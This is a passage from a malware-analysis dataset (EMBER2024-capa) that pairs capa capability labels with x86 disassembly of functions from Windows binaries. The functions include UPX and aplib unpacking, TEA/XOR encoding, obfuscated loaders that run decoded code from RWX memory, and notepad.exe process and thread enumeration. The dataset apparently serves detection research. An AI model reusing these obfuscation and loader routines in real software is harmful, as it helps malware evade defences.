joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b7d50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x75000]
push edi
jmp 0x4b7d6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b7d71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b7d60
mov eax, 1
add ebx, ebx
jne 0x4b7d83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b7d94
jne 0x4b7db3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b7db3
dec eax
add ebx, ebx
jne 0x4b7da0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b7d78
add ebx, ebx
jne 0x4b7daf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b7e05
xor ecx, ecx
sub eax, 3
jb 0x4b7dcb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b7e3a
sar eax, 1
mov ebp, eax
jmp 0x4b7dd6
add ebx, ebx
jne 0x4b7dd6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b7da4
inc ecx
add ebx, ebx
jne 0x4b7de4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b7da4
add ebx, ebx
jne 0x4b7df1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b7de6
jne 0x4b7e02
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b7de6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b7e24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b7e16
jmp 0x4b7d66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b7e24
add edi, ecx
jmp 0x4b7d66
pop esi
mov edi, esi
mov ecx, 0x3794
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b7e42
cmp byte [edi], 0x16
jne 0x4b7e42
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b7e47
lea edi, [esi + 0xb3000]
mov eax, dword [edi]
or eax, eax
je 0x4b7ebf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xbe5d0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbe724]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b7e74
mov ecx, edi
jns 0x4b7ea3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbe728]
or eax, eax
je 0x4b7eb9
mov dword [ebx], eax
add ebx, 4
jmp 0x4b7e91
call dword [esi + 0xbe738]
mov ebp, dword [esi + 0xbe72c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b7ef3
sub esp, 0xffffff80
jmp 0x416791
Function at 0x401067
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408004]
jne 0x401071
repz ret
jmp fcn.00401216

Function at 0x40311b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402067
and dword [ebp - 0x14], 0
cmp dword [0x409744], 0
mov dword [ebp - 0x18], eax
jne 0x4031ce
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x403276
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x403276
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x409744], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x409748], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40974c], eax
call edi
push eax
call esi
mov dword [0x409754], eax
test eax, eax
je 0x4031ce
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x409750], eax
mov eax, dword [0x409750]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403227
cmp dword [0x409754], ecx
je 0x403227
push eax
call esi
push dword [0x409754]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403227
test ebx, ebx
je 0x403227
call edi
test eax, eax
je 0x40321e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40321e
test byte [ebp - 8], 1
jne 0x403227
or dword [ebp + 0x10], 0x200000
jmp 0x40325a
mov eax, dword [0x409748]
cmp eax, dword [ebp - 0x18]
je 0x40325a
push eax
call esi
test eax, eax
je 0x40325a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40325a
mov eax, dword [0x40974c]
cmp eax, dword [ebp - 0x18]
je 0x40325a
push eax
call esi
test eax, eax
je 0x40325a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x409744]
call esi
test eax, eax
je 0x403276
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x403278
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401067
leave
ret
Function at 0x10596058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x105961a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1059607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1059606a
add dl, dl
jne 0x10596089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105960dc
xor eax, eax
add dl, dl
jne 0x10596096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1059617d
add dl, dl
jne 0x105960a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105960b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105960bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105960c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x105960d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10596075
mov eax, 1
add dl, dl
jne 0x105960ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105960f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105960e1
sub eax, ebx
mov ebx, 1
jne 0x10596128
mov ecx, 1
add dl, dl
jne 0x1059610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10596119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10596105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10596075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1059613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1059614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10596136
cmp eax, 0x7d00
jae 0x1059616d
cmp eax, 0x500
jb 0x10596168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10596075
cmp eax, 0x7f
ja 0x10596170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10596075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1059619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10596075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x403e59
pop dword [ebp - 0x20]
mov eax, 0x403e59
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x911f0430
add dword [ebp - 0x30], 0xbd33411b
mov dword [ebp - 0x2c], 0x320554c2
sub dword [ebp - 0x2c], 0xffd2087d
mov dword [ebp - 0x28], 0xbaea0c28
sub dword [ebp - 0x28], 0x6e9dc7fa
mov dword [ebp - 0x24], 0x54223122
sub dword [ebp - 0x24], 0x54223122
lea eax, [ebp - 0x30]
push eax
mov eax, 0x7478c14e
sub eax, 0x743850ea
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x34e2a5e7
sub dword [ebp - 0x30], 0xc0703c91
mov dword [ebp - 0x2c], 0x85197ef1
add dword [ebp - 0x2c], 0xbc52e284
mov dword [ebp - 0x28], 0xc6e9fcef
add dword [ebp - 0x28], 0x9c856f7d
mov dword [ebp - 0x24], 0xe48587ff
add dword [ebp - 0x24], 0x1b7a7801
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x8b37d8a5
sub eax, 0x8af767fd
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x39275
push 0
call eax
mov ecx, 0xc2c53f4d
add ecx, 0x3d3b1253
xor edx, edx
add edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x20]
mov edi, 0x3ee8785d
sub dword [ebp - 8], 0x710e6984
mov esi, dword [ebx]
xor dword [ebp - 0x18], ecx
xor esi, edi
add dword [ebp - 0x10], 0xdc208c40
mov dword [edx], esi
add edx, 0xd4357c86
add edx, 0x2bca837e
add ebx, 0x2522cf49
add ebx, 0xdadd30bb
loop 0x403f6c
add eax, 0x89b7848f
add eax, 0x7649b4c4
mov ebx, eax
add eax, 0x75a0fafb
add eax, 0x8a5f050a
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x402680
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0xc
test ecx, ecx
je 0x402712
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
push edi
mov eax, dword [ecx]
mov edi, dword [esi + 4]
mov ecx, dword [ecx + 4]
mov dword [esp + 0x10], edi
mov edi, dword [esi]
mov dword [esp + 0x24], edi
mov edi, dword [esi + 0xc]
mov esi, dword [esi + 8]
mov dword [esp + 0x18], edi
xor edx, edx
mov dword [esp + 0x14], esi
mov edi, 0x20
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x10]
mov esi, ecx
sub edx, 0x61c88647
shl esi, 4
add esi, ebx
mov ebx, ecx
shr ebx, 5
add ebx, ebp
mov ebp, dword [esp + 0x18]
xor esi, ebx
lea ebx, [edx + ecx]
xor esi, ebx
mov ebx, dword [esp + 0x14]
add eax, esi
mov esi, eax
shl esi, 4
add esi, ebx
mov ebx, eax
shr ebx, 5
add ebx, ebp
xor esi, ebx
lea ebx, [edx + eax]
xor esi, ebx
add ecx, esi
dec edi
jne 0x4026be
mov edx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov dword [edx], eax
mov dword [edx + 4], ecx
pop ebx
add esp, 0xc
ret 8

Function at 0x402720
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0xc
test eax, eax
je 0x4027b5
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
push edi
mov ecx, dword [eax]
mov edi, dword [esi + 0xc]
mov eax, dword [eax + 4]
mov dword [esp + 0x10], edi
mov edi, dword [esi + 8]
mov dword [esp + 0x24], edi
mov edi, dword [esi + 4]
mov esi, dword [esi]
mov dword [esp + 0x18], edi
mov edx, 0xc6ef3720
mov dword [esp + 0x14], esi
mov edi, 0x20
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x10]
mov esi, ecx
shl esi, 4
add esi, ebx
mov ebx, ecx
shr ebx, 5
add ebx, ebp
mov ebp, dword [esp + 0x18]
xor esi, ebx
lea ebx, [edx + ecx]
xor esi, ebx
mov ebx, dword [esp + 0x14]
sub eax, esi
mov esi, eax
shl esi, 4
add esi, ebx
mov ebx, eax
shr ebx, 5
add ebx, ebp
xor esi, ebx
lea ebx, [edx + eax]
xor esi, ebx
add edx, 0x61c88647
sub ecx, esi
dec edi
jne 0x402761
mov edx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov dword [edx], ecx
mov dword [edx + 4], eax
pop ebx
add esp, 0xc
ret 8
Function at 0x4027c0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [esp + 0x34]
xor ebx, ebx
shr ebp, 2
xor eax, eax
push esi
mov dword [esp + 0x24], eax
push edi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], 0x217f5cd
mov dword [esp + 0x18], 0x1875e53
mov dword [esp + 0x24], ebx
mov dword [esp + 0x30], eax
lea edx, [ecx + 0x118]
mov ecx, eax
mov esi, dword [edx]
and ecx, 3
add edx, 4
mov edi, dword [esp + ecx*4 + 0x24]
lea ecx, [esp + ecx*4 + 0x24]
add edi, esi
inc eax
cmp eax, 0x40
mov dword [ecx], edi
jb 0x4027fc
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x28]
push eax
push ecx
push edx
push str.Key_.8x__.8x__.8x__.8x_n
call fcn.004023e0
add esp, 0x14
cmp ebp, ebx
jbe 0x4028a4
mov esi, dword [esp + 0x38]
lea eax, [ebp + 1]
xor edi, edi
shr eax, 1
mov dword [esp + 0x3c], eax
mov eax, dword [esi + 4]
mov ebp, dword [esi]
lea ecx, [esp + 0x24]
mov dword [esp + 0x20], eax
push ecx
mov ecx, dword [esp + 0x14]
push esi
call fcn.00402680
mov edx, dword [esi]
mov ecx, dword [esp + 0x14]
xor edx, ecx
mov ecx, dword [esp + 0x20]
sub edx, edi
add edi, 0x1ff08
mov dword [esi], edx
mov eax, dword [esi + 4]
mov edx, dword [esp + 0x18]
add esi, 8
xor eax, edx
mov dword [esp + 0x14], ebp
add eax, ebx
add ebx, 0x1ea2
mov dword [esi - 4], eax
mov eax, dword [esp + 0x3c]
dec eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x3c], eax
jne 0x40284c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 8

Function at 0x4028b0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
mov ebp, esi
xor ebx, ebx
shr ebp, 2
xor eax, eax
push edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], 0x217f5cd
mov dword [esp + 0x18], 0x1875e53
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], eax
lea edx, [ecx + 0x118]
mov edi, dword [edx]
mov ecx, eax
and ecx, 3
add edx, 4
add dword [esp + ecx*4 + 0x1c], edi
lea ecx, [esp + ecx*4 + 0x1c]
inc eax
cmp eax, 0x40
jb 0x4028ee
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push edx
mov edx, dword [esp + 0x20]
push eax
push ecx
push edx
push esi
push str.DcodeBuffer:Len_d_Key_.8x__.8x__.8x__.8x_n
call fcn.004023e0
add esp, 0x18
cmp ebp, ebx
jbe 0x40297f
mov esi, dword [esp + 0x30]
xor edi, edi
inc ebp
shr ebp, 1
mov edx, dword [esi]
mov ecx, dword [esp + 0x14]
mov eax, edi
add eax, edx
mov edx, dword [esp + 0x18]
xor eax, ecx
mov dword [esi], eax
mov ecx, dword [esi + 4]
sub ecx, ebx
xor ecx, edx
lea edx, [esp + 0x1c]
mov dword [esi + 4], ecx
mov ecx, dword [esp + 0x10]
push edx
push esi
call fcn.00402720
mov eax, dword [esi]
mov ecx, dword [esi + 4]
add edi, 0x1ff08
add ebx, 0x1ea2
add esi, 8
dec ebp
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
jne 0x402935
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 8
Function at 0x402990
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor ecx, ecx
test edx, edx
mov eax, 0xa8b19c75
jbe 0x4029e6
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, 1
mov edx, 0x25
mov ebx, edx
mov ebp, dword [esi]
imul ebx, ecx
add edx, 0x3b
add esi, 4
lea ebx, [ebx + ebp + 0x536327]
mov ebp, edi
imul ebp, ecx
add edi, 0x14df
lea eax, [eax + ebp + 0x152d9]
xor eax, ebx
mov ebx, dword [esp + 0x18]
inc ecx
cmp ecx, ebx
jb 0x4029b1
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x402c20
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x10], ecx
call esi
xor edx, edx
mov ecx, 0x3e8
div ecx
cmp edx, 0x32
jbe 0x402c4d
cmp edx, 0x320
jb 0x402c53
push 0x32
call edi
jmp 0x402c35
call esi
mov edx, eax
mov eax, 0x10624dd3
mul edx
mov esi, edx
mov edi, 0x1765a2d3
shr esi, 6
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebp, eax
push esi
push ebp
push str.Pid_d_t_d
call fcn.004023e0
mov ecx, dword [esp + 0x1c]
add esp, 0xc
xor eax, eax
xor ebx, ebx
add esi, ebp
lea edx, [ecx + 0x118]
lea ecx, [eax + edi]
lea edi, [eax + 6]
imul edi, eax
xor ecx, ebx
inc eax
mov dword [edx], ecx
add edx, 4
add ebx, esi
cmp eax, 0x40
lea edi, [edi + ecx + 0x4e331f]
jb 0x402c8f
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x403a60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d0b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], esp
push eax
push 0x40
xor edi, edi
push ebx
push esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x403b2e
xor eax, eax
cmp eax, ebx
mov dword [ebp + 8], eax
jae 0x403b0b
mov cl, byte [eax + esi]
add eax, 0x64
push eax
push esi
mov byte [ebp + 0xc], cl
call fcn.00403a50
mov edx, dword [ebp + 8]
xor ecx, ecx
mov byte [edx + esi], al
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov cl, byte [eax + esi]
and edx, 0xff
push ecx
push edx
push eax
push str._d:_.2x__.2x
call fcn.004023e0
mov eax, dword [ebp + 8]
add esp, 0x18
lea ecx, [eax + esi]
and ecx, 0xfff
je 0x403afe
mov edx, 0x1000
sub edx, ecx
add eax, edx
jmp 0x403aa7
add eax, 0x1000
jmp 0x403aa7
mov ecx, dword [ebp - 0x14]
lea eax, [ebp + 8]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor al, al
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4043a0
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x408
mov al, 0x40
push edi
mov byte [esp + 4], al
mov byte [esp + 5], al
mov byte [esp + 6], al
mov byte [esp + 7], al
mov byte [esp + 8], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x410]
pop edi
test eax, eax
je 0x4043fc
lea ecx, [esp + 0x410]
lea edx, [esp + 5]
push ecx
push eax
push 0x400
push edx
call fcn.004071aa
add esp, 0x10
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0x408
ret
Function at 0x404e10
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x44
push ebx
push ebp
mov ebp, dword [esp + 0x50]
push esi
push edi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], 0x1c792e83
mov esi, ecx
mov dword [esp + 0x34], 0x21e1cde6
mov eax, esi
mov dword [esp + 0x30], esi
shr eax, 2
mov dword [esp + 0x38], 0xf4d50d87
mov dword [esp + 0x3c], 0xfcefa3f8
mov dword [esp + 0x40], 0xa4beea44
mov dword [esp + 0x44], 0xbebfbc70
mov dword [esp + 0x48], 0xeaa127fa
mov dword [esp + 0x4c], 0x85845dd1
mov dword [esp + 0x50], 0xbd3af235
mov dword [esp + 0x2c], eax
je 0x404fab
xor ecx, ecx
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
mov edi, 2
lea ebx, [esp + 0x34]
mov esi, dword [eax]
mov eax, esi
mov ebp, esi
shl eax, cl
shr ebp, cl
mov dword [esp + 0x24], eax
mov eax, 0xb84423bf
mul esi
mov eax, 0x2cd38621
mov ecx, edx
mul esi
shr ecx, 0x14
shr edx, 8
mov eax, 0xc0e07039
add ecx, edx
mul esi
mov eax, esi
mov dword [esp + 0x20], ebp
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
add ecx, eax
mov eax, 0x86186187
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
add ecx, eax
mov eax, 0x24924925
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
mov edx, esi
shr eax, 2
add ecx, eax
shr edx, 1
add ecx, edx
mov dword [esp + 0x28], ecx
jmp 0x404f15
mov ebp, dword [esp + 0x20]
lea eax, [edi + 3]
mov edx, edi
and eax, 7
and edx, 7
add ebx, 4
mov ecx, dword [esp + eax*4 + 0x34]
mov eax, dword [esp + edx*4 + 0x34]
mov edx, dword [esp + 0x24]
add ecx, ebp
mov ebp, dword [esp + 0x10]
add eax, esi
xor ecx, eax
mov eax, dword [ebx - 4]
xor edx, eax
mov eax, esi
add edx, ebp
lea ebp, [edi - 1]
xor ecx, edx
xor edx, edx
div ebp
lea edx, [edi - 4]
and edx, 7
mov ebp, dword [esp + edx*4 + 0x34]
add eax, ebp
mov ebp, dword [esp + 0x28]
xor eax, esi
add ecx, eax
lea eax, [edi - 3]
and eax, 7
mov edx, dword [esp + eax*4 + 0x34]
xor edx, ebp
add ecx, edx
inc edi
mov dword [esp + 0x10], ecx
lea eax, [edi - 2]
cmp eax, 8
jb 0x404f11
mov esi, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
add esi, 4
add ecx, 3
dec eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], eax
jne 0x404e92
mov eax, dword [esp + 0x2c]
mov esi, dword [esp + 0x30]
mov ebp, dword [esp + 0x58]
shl eax, 2
cmp eax, esi
jae 0x404fcd
mov ecx, eax
and ecx, 3
mov bl, byte [esp + ecx + 0x10]
lea edx, [esp + ecx + 0x10]
mov cl, byte [eax + ebp]
add cl, al
xor bl, cl
inc eax
cmp eax, esi
mov byte [edx], bl
jb 0x404fb2
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
Function at 0x4054a0
Capabilities:
Enumerate processes
Enumerate threads

Disassembly:
sub esp, 0x144
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x4054c5
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x144
ret
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x2c]
push ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
xor ebx, ebx
push eax
push esi
xor ebp, ebp
mov dword [esp + 0x34], 0x128
call sub.KERNEL32.dll_Process32First
lea ecx, [esp + 0x50]
push str.notepad.exe
push ecx
call fcn.00407360
add esp, 8
test eax, eax
je 0x405525
lea edx, [esp + 0x2c]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40554a
lea eax, [esp + 0x50]
push str.notepad.exe
push eax
call fcn.00407360
add esp, 8
test eax, eax
jne 0x405500
mov ecx, dword [esp + 0x34]
push ecx
push str.found_notepad_pid___d
call dword [0x422cd8]
mov eax, dword [esp + 0x160]
mov edx, dword [esp + 0x3c]
add esp, 8
mov ebx, 1
mov dword [eax], edx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
pop ebx
jne 0x405562
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x144
ret
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x1c
push ecx
push esi
call sub.KERNEL32.dll_Thread32First
mov edi, dword [esp + 0x154]
mov edx, dword [esp + 0x18]
cmp edx, dword [edi]
je 0x4055b5
lea eax, [esp + 0xc]
push eax
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x4055da
mov ecx, dword [esp + 0x18]
mov eax, dword [edi]
cmp ecx, eax
jne 0x40559c
mov edx, dword [esp + 0x14]
push edx
push str.found_notepad.exe_tid___d
call dword [0x422cd8]
mov eax, dword [esp + 0x160]
mov ecx, dword [esp + 0x1c]
add esp, 8
mov ebp, 1
mov dword [eax], ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
add esp, 0x144
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406ac2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x406ad1
pop dword [ebp - 0x1c]
mov eax, 0x8999cd7f
add eax, 0x76a69d52
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x7f21d9a3
add dword [ebp - 0x2c], 0xcf306ba8
mov dword [ebp - 0x28], 0x41110de0
sub dword [ebp - 0x28], 0xeddc19b
mov dword [ebp - 0x24], 0x86bb629d
sub dword [ebp - 0x24], 0x3a6f1e6f
mov dword [ebp - 0x20], 0x62e310fa
add dword [ebp - 0x20], 0x9d1cef06
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xacae9b3c
add dword [ebp - 0x2c], 0xc7c3ce1a
mov dword [ebp - 0x28], 0x36192a75
add dword [ebp - 0x28], 0xb533700
mov dword [ebp - 0x24], 0x8e7636f4
sub dword [ebp - 0x24], 0x2b06ca88
mov dword [ebp - 0x20], 0x63252061
add dword [ebp - 0x20], 0x9cdadf9f
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x36e3e
push 0
call eax
mov ecx, 0xa1b43734
sub ecx, 0xa1b3facc
mov edi, eax
mov ebx, 0x41b000
add ebx, dword [ebp - 0x1c]
mov edx, 0x49f376fd
sub dword [ebp - 4], 0x15c14c1
mov esi, dword [ebx]
xor dword [ebp - 0x18], 0x1a4d37fc
sub esi, edx
sub dword [ebp - 0x14], 0x1df7fb8a
mov dword [edi], esi
add dword [ebp - 0xc], 0x3f2ce718
add edi, 0xf4daf53d
add edi, 0xb250ac7
add ebx, 4
loop 0x406bdd
add eax, 0xbc126654
sub eax, 0xbc1181e1
mov ebx, eax
